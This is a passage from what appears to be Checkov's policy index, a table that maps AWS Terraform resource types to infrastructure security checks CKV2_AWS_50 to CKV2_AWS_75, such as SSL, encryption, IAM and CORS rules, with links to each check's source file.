endpoints have SSL configured | Terraform | [DMSEndpointHaveSSLConfigured.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/DMSEndpointHaveSSLConfigured.yaml) | | 2113 | CKV2_AWS_50 | resource | aws_elasticache_replication_group | Ensure AWS ElastiCache Redis cluster with Multi-AZ Automatic Failover feature set to enabled | Terraform | [ElastiCacheRedisConfiguredAutomaticFailOver.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ElastiCacheRedisConfiguredAutomaticFailOver.yaml) | | 2114 | CKV2_AWS_51 | resource | aws_api_gateway_stage | Ensure AWS API Gateway endpoints uses client certificate authentication | Terraform | [APIGatewayEndpointsUsesCertificateForAuthentication.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIGatewayEndpointsUsesCertificateForAuthentication.yaml) | | 2115 | CKV2_AWS_51 | resource | aws_apigatewayv2_api | Ensure AWS API Gateway endpoints uses client certificate authentication | Terraform | [APIGatewayEndpointsUsesCertificateForAuthentication.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIGatewayEndpointsUsesCertificateForAuthentication.yaml) | | 2116 | CKV2_AWS_51 | resource | aws_apigatewayv2_stage | Ensure AWS API Gateway endpoints uses client certificate authentication | Terraform | [APIGatewayEndpointsUsesCertificateForAuthentication.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIGatewayEndpointsUsesCertificateForAuthentication.yaml) | | 2117 | CKV2_AWS_52 | resource | aws_elasticsearch_domain | Ensure AWS ElasticSearch/OpenSearch Fine-grained access control is enabled | Terraform | [OpenSearchDomainHasFineGrainedControl.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/OpenSearchDomainHasFineGrainedControl.yaml) | | 2118 | CKV2_AWS_52 | resource | aws_opensearch_domain | Ensure AWS ElasticSearch/OpenSearch Fine-grained access control is enabled | Terraform | [OpenSearchDomainHasFineGrainedControl.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/OpenSearchDomainHasFineGrainedControl.yaml) | | 2119 | CKV2_AWS_53 | resource | aws_api_gateway_method | Ensure AWS API gateway request is validated | Terraform | [APIGatewayRequestParameterValidationEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIGatewayRequestParameterValidationEnabled.yaml) | | 2120 | CKV2_AWS_54 | resource | aws_cloudfront_distribution | Ensure AWS CloudFront distribution is using secure SSL protocols for HTTPS communication | Terraform | [CloudFrontUsesSecureProtocolsForHTTPS.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CloudFrontUsesSecureProtocolsForHTTPS.yaml) | | 2121 | CKV2_AWS_55 | resource | aws_emr_cluster | Ensure AWS EMR cluster is configured with security configuration | Terraform | [EMRClusterHasSecurityConfiguration.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/EMRClusterHasSecurityConfiguration.yaml) | | 2122 | CKV2_AWS_56 | resource | aws_iam_group_policy_attachment | Ensure AWS Managed IAMFullAccess IAM policy is not used. | Terraform | [IAMManagedIAMFullAccessPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMManagedIAMFullAccessPolicy.yaml) | | 2123 | CKV2_AWS_56 | resource | aws_iam_policy_attachment | Ensure AWS Managed IAMFullAccess IAM policy is not used. | Terraform | [IAMManagedIAMFullAccessPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMManagedIAMFullAccessPolicy.yaml) | | 2124 | CKV2_AWS_56 | resource | aws_iam_role | Ensure AWS Managed IAMFullAccess IAM policy is not used. | Terraform | [IAMManagedIAMFullAccessPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMManagedIAMFullAccessPolicy.yaml) | | 2125 | CKV2_AWS_56 | resource | aws_iam_role_policy_attachment | Ensure AWS Managed IAMFullAccess IAM policy is not used. | Terraform | [IAMManagedIAMFullAccessPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMManagedIAMFullAccessPolicy.yaml) | | 2126 | CKV2_AWS_56 | resource | aws_iam_user_policy_attachment | Ensure AWS Managed IAMFullAccess IAM policy is not used. | Terraform | [IAMManagedIAMFullAccessPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMManagedIAMFullAccessPolicy.yaml) | | 2127 | CKV2_AWS_56 | resource | aws_ssoadmin_managed_policy_attachment | Ensure AWS Managed IAMFullAccess IAM policy is not used. | Terraform | [IAMManagedIAMFullAccessPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMManagedIAMFullAccessPolicy.yaml) | | 2128 | CKV2_AWS_56 | resource | data.aws_iam_policy | Ensure AWS Managed IAMFullAccess IAM policy is not used. | Terraform | [IAMManagedIAMFullAccessPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMManagedIAMFullAccessPolicy.yaml) | | 2129 | CKV2_AWS_57 | resource | aws_secretsmanager_secret | Ensure Secrets Manager secrets should have automatic rotation enabled | Terraform | [SecretsAreRotated.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/SecretsAreRotated.yaml) | | 2130 | CKV2_AWS_58 | resource | aws_neptune_cluster | Ensure AWS Neptune cluster deletion protection is enabled | Terraform | [NeptuneDeletionProtectionEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/NeptuneDeletionProtectionEnabled.yaml) | | 2131 | CKV2_AWS_59 | resource | aws_elasticsearch_domain | Ensure ElasticSearch/OpenSearch has dedicated master node enabled | Terraform | [ElasticSearchDedicatedMasterEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ElasticSearchDedicatedMasterEnabled.yaml) | | 2132 | CKV2_AWS_59 | resource | aws_opensearch_domain | Ensure ElasticSearch/OpenSearch has dedicated master node enabled | Terraform | [ElasticSearchDedicatedMasterEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ElasticSearchDedicatedMasterEnabled.yaml) | | 2133 | CKV2_AWS_60 | resource | aws_db_instance | Ensure RDS instance with copy tags to snapshots is enabled | Terraform | [RDSEnableCopyTagsToSnapshot.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/RDSEnableCopyTagsToSnapshot.yaml) | | 2134 | CKV2_AWS_61 | resource | aws_s3_bucket | Ensure that an S3 bucket has a lifecycle configuration | Terraform | [S3BucketLifecycle.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketLifecycle.yaml) | | 2135 | CKV2_AWS_62 | resource | aws_s3_bucket | Ensure S3 buckets should have event notifications enabled | Terraform | [S3BucketEventNotifications.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketEventNotifications.yaml) | | 2136 | CKV2_AWS_63 | resource | aws_networkfirewall_firewall | Ensure Network firewall has logging configuration defined | Terraform | [NetworkFirewallHasLogging.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/NetworkFirewallHasLogging.yaml) | | 2137 | CKV2_AWS_64 | resource | aws_kms_key | Ensure KMS key Policy is defined | Terraform | [KmsKeyPolicyIsDefined.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/KmsKeyPolicyIsDefined.yaml) | | 2138 | CKV2_AWS_65 | resource | aws_s3_bucket_ownership_controls | Ensure access control lists for S3 buckets are disabled | Terraform | [AWSdisableS3ACL.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AWSdisableS3ACL.yaml) | | 2139 | CKV2_AWS_66 | resource | aws_mwaa_environment | Ensure MWAA environment is not publicly accessible | Terraform | [AWS_private_MWAA_environment.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AWS_private_MWAA_environment.yaml) | | 2140 | CKV2_AWS_68 | resource | aws_iam_role | Ensure SageMaker notebook instance IAM policy is not overly permissive | Terraform | [SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml) | | 2141 | CKV2_AWS_68 | resource | aws_sagemaker_notebook_instance | Ensure SageMaker notebook instance IAM policy is not overly permissive | Terraform | [SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml) | | 2142 | CKV2_AWS_69 | resource | aws_db_instance | Ensure AWS RDS database instance configured with encryption in transit | Terraform | [RDSEncryptionInTransit.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/RDSEncryptionInTransit.yaml) | | 2143 | CKV2_AWS_69 | resource | aws_db_parameter_group | Ensure AWS RDS database instance configured with encryption in transit | Terraform | [RDSEncryptionInTransit.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/RDSEncryptionInTransit.yaml) | | 2144 | CKV2_AWS_70 | resource | aws_api_gateway_method | Ensure API gateway method has authorization or API key set | Terraform | [APIGatewayMethodWOAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayMethodWOAuth.py) | | 2145 | CKV2_AWS_71 | resource | aws_acm_certificate | Ensure AWS ACM Certificate domain name does not include wildcards | Terraform | [ACMWildcardDomainName.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ACMWildcardDomainName.yaml) | | 2146 | CKV2_AWS_72 | resource | aws_cloudfront_distribution | Ensure AWS CloudFront origin protocol policy enforces HTTPS-only | Terraform | [CloudfrontOriginNotHTTPSOnly.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CloudfrontOriginNotHTTPSOnly.yaml) | | 2147 | CKV2_AWS_73 | resource | aws_sqs_queue | Ensure AWS SQS uses CMK not AWS default keys for encryption | Terraform | [SQSEncryptionCMK.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/SQSEncryptionCMK.yaml) | | 2148 | CKV2_AWS_74 | resource | aws_alb_listener | Ensure AWS Load Balancers use strong ciphers | Terraform | [LBWeakCiphers.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LBWeakCiphers.yaml) | | 2149 | CKV2_AWS_74 | resource | aws_lb_listener | Ensure AWS Load Balancers use strong ciphers | Terraform | [LBWeakCiphers.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LBWeakCiphers.yaml) | | 2150 | CKV2_AWS_75 | resource | aws | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2151 | CKV2_AWS_75 | resource | aws_accessanalyzer_analyzer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2152 | CKV2_AWS_75 | resource | aws_accessanalyzer_archive_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2153 | CKV2_AWS_75 | resource | aws_account_alternate_contact | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2154 | CKV2_AWS_75 | resource | aws_account_primary_contact | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2155 | CKV2_AWS_75 | resource | aws_account_region | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2156 | CKV2_AWS_75 | resource | aws_acm_certificate | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2157 | CKV2_AWS_75 | resource | aws_acm_certificate_validation | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2158 | CKV2_AWS_75 | resource | aws_acmpca_certificate | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2159 | CKV2_AWS_75 | resource | aws_acmpca_certificate_authority | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2160 | CKV2_AWS_75 | resource | aws_acmpca_certificate_authority_certificate | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2161 | CKV2_AWS_75 | resource | aws_acmpca_permission | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2162 | CKV2_AWS_75 | resource | aws_acmpca_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2163 | CKV2_AWS_75 | resource | aws_alb | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2164 | CKV2_AWS_75 | resource | aws_alb_listener | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2165 | CKV2_AWS_75 | resource | aws_alb_listener_certificate | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2166 | CKV2_AWS_75 | resource | aws_alb_listener_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2167 | CKV2_AWS_75 | resource | aws_alb_target_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2168 | CKV2_AWS_75 | resource | aws_alb_target_group_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2169 | CKV2_AWS_75 | resource | aws_ami | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2170 | CKV2_AWS_75 | resource | aws_ami_copy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2171 | CKV2_AWS_75 | resource | aws_ami_from_instance | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2172 | CKV2_AWS_75 | resource | aws_ami_launch_permission | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2173 | CKV2_AWS_75 | resource | aws_amplify_app | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2174 | CKV2_AWS_75 | resource | aws_amplify_backend_environment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2175 | CKV2_AWS_75 | resource | aws_amplify_branch | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2176 | CKV2_AWS_75 | resource | aws_amplify_domain_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2177 | CKV2_AWS_75 | resource | aws_amplify_webhook | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2178 | CKV2_AWS_75 | resource | aws_api_gateway_account | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2179 | CKV2_AWS_75 | resource | aws_api_gateway_api_key | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2180 | CKV2_AWS_75 | resource | aws_api_gateway_authorizer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2181 | CKV2_AWS_75 | resource | aws_api_gateway_base_path_mapping | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2182 | CKV2_AWS_75 | resource | aws_api_gateway_client_certificate | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2183 | CKV2_AWS_75 | resource | aws_api_gateway_deployment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2184 | CKV2_AWS_75 | resource | aws_api_gateway_documentation_part | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2185 | CKV2_AWS_75 | resource | aws_api_gateway_documentation_version | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2186 | CKV2_AWS_75 | resource | aws_api_gateway_domain_name | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2187 | CKV2_AWS_75 | resource | aws_api_gateway_domain_name_access_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2188 | CKV2_AWS_75 | resource | aws_api_gateway_gateway_response | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2189 | CKV2_AWS_75 | resource | aws_api_gateway_integration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2190 | CKV2_AWS_75 | resource | aws_api_gateway_integration_response | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2191 | CKV2_AWS_75 | resource | aws_api_gateway_method | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2192 | CKV2_AWS_75 | resource | aws_api_gateway_method_response | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2193 | CKV2_AWS_75 | resource | aws_api_gateway_method_settings | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2194 | CKV2_AWS_75 | resource | aws_api_gateway_model | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2195 | CKV2_AWS_75 | resource | aws_api_gateway_request_validator | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2196 | CKV2_AWS_75 | resource | aws_api_gateway_resource | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2197 | CKV2_AWS_75 | resource | aws_api_gateway_rest_api | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2198 | CKV2_AWS_75 | resource | aws_api_gateway_rest_api_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2199 | CKV2_AWS_75 | resource | aws_api_gateway_stage | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2200 | CKV2_AWS_75 | resource | aws_api_gateway_usage_plan | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2201 | CKV2_AWS_75 | resource | aws_api_gateway_usage_plan_key | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2202 | CKV2_AWS_75 | resource | aws_api_gateway_vpc_link | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2203 | CKV2_AWS_75 | resource | aws_apigatewayv2_api | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2204 | CKV2_AWS_75 | resource | aws_apigatewayv2_api_mapping | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2205 | CKV2_AWS_75 | resource | aws_apigatewayv2_authorizer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2206 | CKV2_AWS_75 | resource | aws_apigatewayv2_deployment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2207 | CKV2_AWS_75 | resource | aws_apigatewayv2_domain_name | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2208 | CKV2_AWS_75 | resource | aws_apigatewayv2_integration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2209 | CKV2_AWS_75 | resource | aws_apigatewayv2_integration_response | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2210 | CKV2_AWS_75 | resource | aws_apigatewayv2_model | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2211 | CKV2_AWS_75 | resource | aws_apigatewayv2_route | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2212 | CKV2_AWS_75 | resource | aws_apigatewayv2_route_response | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2213 | CKV2_AWS_75 | resource | aws_apigatewayv2_stage | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2214 | CKV2_AWS_75 | resource | aws_apigatewayv2_vpc_link | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2215 | CKV2_AWS_75 | resource | aws_app_cookie_stickiness_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2216 | CKV2_AWS_75 | resource | aws_appautoscaling_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2217 | CKV2_AWS_75 | resource | aws_appautoscaling_scheduled_action | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2218 | CKV2_AWS_75 | resource | aws_appautoscaling_target | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2219 | 